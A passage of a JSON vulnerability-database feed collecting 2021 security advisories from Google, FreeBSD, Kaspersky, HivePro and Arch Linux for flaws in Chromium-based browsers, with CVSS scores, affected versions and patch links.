"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-09-24T00:00:00", "type": "chrome", "title": "Stable Channel Update for Desktop", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37973"], "modified": "2021-09-24T00:00:00", "id": "GCSA-7342407883646540962", "href": "https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_24.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-30T22:31:24", "description": "The Stable channel has been updated to 88.0.4324.150 for Windows, Mac and Linux which will roll out over the coming days/weeks.\n\n\nA full list of changes in this build is available in the [log](<https://chromium.googlesource.com/chromium/src/+log/88.0.4324.146..88.0.4324.150?pretty=fuller&n=10000>). Interested in switching release channels? Find out how [here](<https://www.chromium.org/getting-involved/dev-channel>). If you find a new issue, please let us know by [filing a bug](<https://crbug.com/>). The [community help forum](<https://productforums.google.com/forum/#!forum/chrome>) is also a great place to reach out for help or learn about common issues.\n\n\n\n\nSecurity Fixes and Rewards\n\nNote: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven't yet fixed.\n\n\n\n\nThis update includes [1](<https://bugs.chromium.org/p/chromium/issues/list?can=1&q=type%3Abug-security+os%3DAndroid%2Cios%2Clinux%2Cmac%2Cwindows%2Call%2Cchrome+label%3ARelease-2-M88>) security fix. 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Google is aware of\n\t reports that an exploit for CVE-2021-21148 exists in the wild.\n\n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-04T00:00:00", "type": "freebsd", "title": "chromium -- heap buffer overflow in V8", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-04T00:00:00", "id": "3E01AAD2-680E-11EB-83E2-E09467587C17", "href": "https://vuxml.freebsd.org/freebsd/3e01aad2-680e-11eb-83e2-e09467587c17.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "kaspersky": [{"lastseen": "2023-03-21T08:24:19", "description": "### *Detect date*:\n04/20/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nMultiple vulnerabilities were found in Opera. Malicious users can exploit these vulnerabilities to execute arbitrary code, cause denial of service, bypass security restrictions.\n\n### *Exploitation*:\nThe following public exploits exists for this vulnerability:\n\n### *Affected products*:\nOpera earlier than 75.0.3969.218\n\n### *Solution*:\nUpdate to the latest version \n[Download Opera](<https://www.opera.com>)\n\n### *Original advisories*:\n[Changelog for Opera 75](<https://blogs.opera.com/desktop/changelog-for-75/#b3969.218>) \n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Opera](<https://threats.kaspersky.com/en/product/Opera/>)\n\n### *CVE-IDS*:\n[CVE-2021-21206](<https://vulners.com/cve/CVE-2021-21206>)6.8High \n[CVE-2021-21220](<https://vulners.com/cve/CVE-2021-21220>)6.8High", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-20T00:00:00", "type": "kaspersky", "title": "KLA12183 Multiple vulnerabilities in Opera", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206", "CVE-2021-21220"], "modified": "2023-03-19T00:00:00", "id": "KLA12183", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12183/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-21T08:24:42", "description": "### *Detect date*:\n04/14/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Browser. Malicious users can exploit these vulnerabilities to execute arbitrary code, cause denial of service, bypass security restrictions.\n\n### *Exploitation*:\nThe following public exploits exists for this vulnerability:\n\n### *Affected products*:\nMicrosoft Edge (Chromium-based)\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-21206](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-21206>) \n[CVE-2021-21220](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-21220>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Edge](<https://threats.kaspersky.com/en/product/Microsoft-Edge/>)\n\n### *CVE-IDS*:\n[CVE-2021-21206](<https://vulners.com/cve/CVE-2021-21206>)6.8High \n[CVE-2021-21220](<https://vulners.com/cve/CVE-2021-21220>)6.8High\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-14T00:00:00", "type": "kaspersky", "title": "KLA12143 Multiple vulnerabilities in Microsoft Browser", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206", "CVE-2021-21220"], "modified": "2023-03-19T00:00:00", "id": "KLA12143", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12143/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-21T08:24:46", "description": "### *Detect date*:\n04/13/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nMultiple vulnerabilities were found in Google Chrome. Malicious users can exploit these vulnerabilities to execute arbitrary code, cause denial of service, bypass security restrictions.\n\n### *Exploitation*:\nThe following public exploits exists for this vulnerability:\n\n### *Affected products*:\nGoogle Chrome earlier than 89.0.4389.128\n\n### *Solution*:\nUpdate to the latest version \n[Download Google Chrome](<https://www.google.com/chrome/>)\n\n### *Original advisories*:\n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Google Chrome](<https://threats.kaspersky.com/en/product/Google-Chrome/>)\n\n### *CVE-IDS*:\n[CVE-2021-21206](<https://vulners.com/cve/CVE-2021-21206>)6.8High \n[CVE-2021-21220](<https://vulners.com/cve/CVE-2021-21220>)6.8High", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-13T00:00:00", "type": "kaspersky", "title": "KLA12136 Multiple vulnerabilities in Google Chrome", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206", "CVE-2021-21220"], "modified": "2023-03-19T00:00:00", "id": "KLA12136", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12136/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-22T23:02:50", "description": "### *Detect date*:\n10/01/2021\n\n### *Severity*:\nWarning\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Browser. Malicious users can exploit these vulnerabilities to execute arbitrary code, cause denial of service, obtain sensitive information.\n\n### *Affected products*:\nMicrosoft Edge (Chromium-based)\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-37975](<https://nvd.nist.gov/vuln/detail/CVE-2021-37975>) \n[CVE-2021-37974](<https://nvd.nist.gov/vuln/detail/CVE-2021-37974>) \n[CVE-2021-37976](<https://nvd.nist.gov/vuln/detail/CVE-2021-37976>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Edge](<https://threats.kaspersky.com/en/product/Microsoft-Edge/>)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-01T00:00:00", "type": "kaspersky", "title": "KLA12301 Multiple vulnerabilities in Microsoft Browser", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37974", "CVE-2021-37975", "CVE-2021-37976"], "modified": "2021-10-06T00:00:00", "id": "KLA12301", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12301/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-22T22:59:06", "description": "### *Detect date*:\n10/29/2021\n\n### *Severity*:\nWarning\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Browser. Malicious users can exploit these vulnerabilities to bypass security restrictions, execute arbitrary code, cause denial of service.\n\n### *Affected products*:\nMicrosoft Edge (Chromium-based)\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-37999](<https://nvd.nist.gov/vuln/detail/CVE-2021-37999>) \n[CVE-2021-37997](<https://nvd.nist.gov/vuln/detail/CVE-2021-37997>) \n[CVE-2021-38002](<https://nvd.nist.gov/vuln/detail/CVE-2021-38002>) \n[CVE-2021-38003](<https://nvd.nist.gov/vuln/detail/CVE-2021-38003>) \n[CVE-2021-37998](<https://nvd.nist.gov/vuln/detail/CVE-2021-37998>) \n[CVE-2021-38001](<https://nvd.nist.gov/vuln/detail/CVE-2021-38001>) \n[CVE-2021-38000](<https://nvd.nist.gov/vuln/detail/CVE-2021-38000>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Edge](<https://threats.kaspersky.com/en/product/Microsoft-Edge/>)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.6, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-10-29T00:00:00", "type": "kaspersky", "title": "KLA12333 Multiple vulnerabilities in Microsoft Browser", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37997", "CVE-2021-37998", "CVE-2021-37999", "CVE-2021-38000", "CVE-2021-38001", "CVE-2021-38002", "CVE-2021-38003"], "modified": "2021-11-02T00:00:00", "id": "KLA12333", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12333/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-08T15:46:35", "description": "### *Detect date*:\n02/09/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nA heap buffer overflow vulnerability was found in Opera. Malicious users can exploit this vulnerability to cause denial of service.\n\n### *Affected products*:\nOpera earlier than 74.0.3911.107\n\n### *Solution*:\nUpdate to the latest version \n[Download Opera](<https://www.opera.com>)\n\n### *Original advisories*:\n[Changelog for Opera 74](<https://blogs.opera.com/desktop/changelog-for-74/#b3911.107>) \n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>) \n\n\n### *Impacts*:\nDoS \n\n### *Related products*:\n[Opera](<https://threats.kaspersky.com/en/product/Opera/>)\n\n### *CVE-IDS*:\n[CVE-2021-21148](<https://vulners.com/cve/CVE-2021-21148>)6.8High", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-09T00:00:00", "type": "kaspersky", "title": "KLA12179 DoS vulnerability in Opera", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-05-27T00:00:00", "id": "KLA12179", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12179/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-08T15:48:24", "description": "### *Detect date*:\n02/04/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nA heap buffer overflow vulnerability was found in Google Chrome. Malicious users can exploit this vulnerability to cause denial of service.\n\n### *Affected products*:\nGoogle Chrome earlier than 88.0.4324.150\n\n### *Solution*:\nUpdate to the latest version \n[Download Google Chrome](<https://www.google.com/chrome/>)\n\n### *Original advisories*:\n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>) \n\n\n### *Impacts*:\nDoS \n\n### *Related products*:\n[Google Chrome](<https://threats.kaspersky.com/en/product/Google-Chrome/>)\n\n### *CVE-IDS*:\n[CVE-2021-21148](<https://vulners.com/cve/CVE-2021-21148>)6.8High", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-04T00:00:00", "type": "kaspersky", "title": "KLA12062 DoS vulnerability in Google Chrome", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-05-12T00:00:00", "id": "KLA12062", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12062/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-08T15:48:23", "description": "### *Detect date*:\n02/05/2021\n\n### *Severity*:\nWarning\n\n### *Description*:\nA heap buffer overflow vulnerability was found in Microsoft Browser. Malicious users can exploit this vulnerability to cause denial of service.\n\n### *Affected products*:\nMicrosoft Edge (Chromium-based)\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-21148](<https://portal.msrc.microsoft.com/api/security-guidance/en-US/CVE/CVE-2021-21148>) \n\n\n### *Impacts*:\nDoS \n\n### *Related products*:\n[Microsoft Edge](<https://threats.kaspersky.com/en/product/Microsoft-Edge/>)\n\n### *CVE-IDS*:\n[CVE-2021-21148](<https://vulners.com/cve/CVE-2021-21148>)6.8High\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-05T00:00:00", "type": "kaspersky", "title": "KLA12063 DoS vulnerability in Microsoft Browser", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-16T00:00:00", "id": "KLA12063", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12063/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "hivepro": [{"lastseen": "2021-11-26T17:20:32", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/10/For-the-third-month-in-a-row-its-time-to-update-Google-Chrome_TA202144.pdf>)[](<Https://www.hivepro.com/wp-content/uploads/2021/10/Multiple-vulnerabilities-have-been-discovered-in-the-Apache-HTTP-Server_TA202140.pdf>)\n\nMultiple vulnerabilities have been discovered in the world's most popular browser. Two of them have been used in the wild (CVE-2021-38000, CVE-2021-38003). Google has recently patched these vulnerabilities in Google Chrome version 95.0.4638.69 for Windows, Mac, and Linux.\n\n#### Vulnerability Details\n\n\n\n#### Patch Link\n\n<https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html>\n\n#### References\n\n<https://www.zdnet.com/article/google-fixes-two-high-severity-zero-day-flaws-in-chrome/>\n\n<https://thedigitalhacker.com/chrome-95-update-patches-expose-zero-day-flaws-flaws-revealed-at-tianfu-cup/>", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-31T10:11:09", "type": "hivepro", "title": "For the third month in a row, it\u2019s time to update Google Chrome", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38000", "CVE-2021-38003"], "modified": "2021-10-31T10:11:09", "id": "HIVEPRO:E94A0D5F817307E8C9D45F52D6A000D1", "href": "https://www.hivepro.com/for-the-third-month-in-a-row-its-time-to-update-google-chrome/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-15T09:19:39", "description": "#### THREAT LEVEL: Amber.\n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/09/TA202138.pdf>)\n\nA vulnerability in Chrome and Microsoft edge(Chromium based) exists as a result of a use-after-free issue when processing HTML data in Google Chrome's Portals component. A remote attacker can create a specially designed site, fool the victim into visiting it, trigger a use-after-free error, and execute arbitrary code on the machine. This vulnerability has also been exploited in the wild. Google has issued an emergency update (94.0.4606.61) addressing the problem.\n\n#### Vulnerability Details\n\n#### \n\n**CVE ID** | **Affected Products** | **Affected CPE** | **Vulnerability Name** | **CWE ID** \n---|---|---|---|--- \nCVE-2021-37973 | Google Chrome up to 93.0.4577.82, Microsoft Edge (Chromium-based) up to 93.0.961.52 | cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*, \ncpe:2.3:a:microsoft:microsoft_edge_\\\\(chromium-based\\\\):*:*:*:*:*::*:* | Use after free in Portals. | CWE-416 \n \n#### Patch Link\n\n<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_24.html>\n\n#### References\n\n<https://www.bleepingcomputer.com/news/security/emergency-google-chrome-update-fixes-zero-day-exploited-in-the-wild/>\n\n<https://www.cybersecurity-help.cz/vdb/SB2021092428>", "cvss3": {}, "published": "2021-09-26T08:02:45", "type": "hivepro", "title": "Chrome\u2019s eleventh zero-day vulnerability for the year 2021 has been patched", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-37973"], "modified": "2021-09-26T08:02:45", "id": "HIVEPRO:F243DF43F7B996BA4E54A801D8E23724", "href": "https://www.hivepro.com/chromes-eleventh-zero-day-vulnerability-for-the-year-2021-has-been-patched/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "archlinux": [{"lastseen": "2021-11-27T06:38:52", "description": "Arch Linux Security Advisory ASA-202110-7\n=========================================\n\nSeverity: High\nDate : 2021-10-29\nCVE-ID : CVE-2021-37997 CVE-2021-37998 CVE-2021-37999 CVE-2021-38000\nCVE-2021-38001 CVE-2021-38002 CVE-2021-38003\nPackage : chromium\nType : multiple issues\nRemote : Yes\nLink : https://security.archlinux.org/AVG-2504\n\nSummary\n=======\n\nThe package chromium before version 95.0.4638.69-1 is vulnerable to\nmultiple issues including arbitrary code execution and insufficient\nvalidation.\n\nResolution\n==========\n\nUpgrade to 95.0.4638.69-1.\n\n# pacman -Syu \"chromium>=95.0.4638.69-1\"\n\nThe problems have been fixed upstream in version 95.0.4638.69.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\n- CVE-2021-37997 (arbitrary code execution)\n\nA use after free security issue has been found in the Sign-In component\nof the Chromium browser engine before version 95.0.4638.69.\n\n- CVE-2021-37998 (arbitrary code execution)\n\nA use after free security issue has been found in the Garbage\nCollection component of the Chromium browser engine before version\n95.0.4638.69.\n\n- CVE-2021-37999 (insufficient validation)\n\nAn insufficient data validation security issue has been found in the\nNew Tab Page component of the Chromium browser engine before version\n95.0.4638.69.\n\n- CVE-2021-38000 (insufficient validation)\n\nAn insufficient validation of untrusted input security issue has been\nfound in the Intents component of the Chromium browser engine before\nversion 95.0.4638.69. Google is aware that an exploit for\nCVE-2021-38000 exists in the wild.\n\n- CVE-2021-38001 (arbitrary code execution)\n\nA type confusion security issue has been found in the V8 component of\nthe Chromium browser engine before version 95.0.4638.69.\n\n- CVE-2021-38002 (arbitrary code execution)\n\nA use after free security issue has been found in the Web Transport\ncomponent of the Chromium browser engine before version 95.0.4638.69.\n\n- CVE-2021-38003 (arbitrary code execution)\n\nAn inappropriate implementation security issue has been found in the V8\ncomponent of the Chromium browser engine before version 95.0.4638.69.\nGoogle is aware that an exploit for CVE-2021-38003 exists in the wild.\n\nImpact\n======\n\nA remote attacker could execute arbitrary code through crafted web\ncontent. Google is aware that exploits for two of the security issues\nexist in the wild.\n\nReferences\n==========\n\nhttps://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html\nhttps://crbug.com/1259864\nhttps://crbug.com/1259587\nhttps://crbug.com/1251541\nhttps://crbug.com/1249962\nhttps://crbug.com/1260577\nhttps://crbug.com/1260940\nhttps://crbug.com/1263462\nhttps://security.archlinux.org/CVE-2021-37997\nhttps://security.archlinux.org/CVE-2021-37998\nhttps://security.archlinux.org/CVE-2021-37999\nhttps://security.archlinux.org/CVE-2021-38000\nhttps://security.archlinux.org/CVE-2021-38001\nhttps://security.archlinux.org/CVE-2021-38002\nhttps://security.archlinux.org/CVE-2021-38003", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": 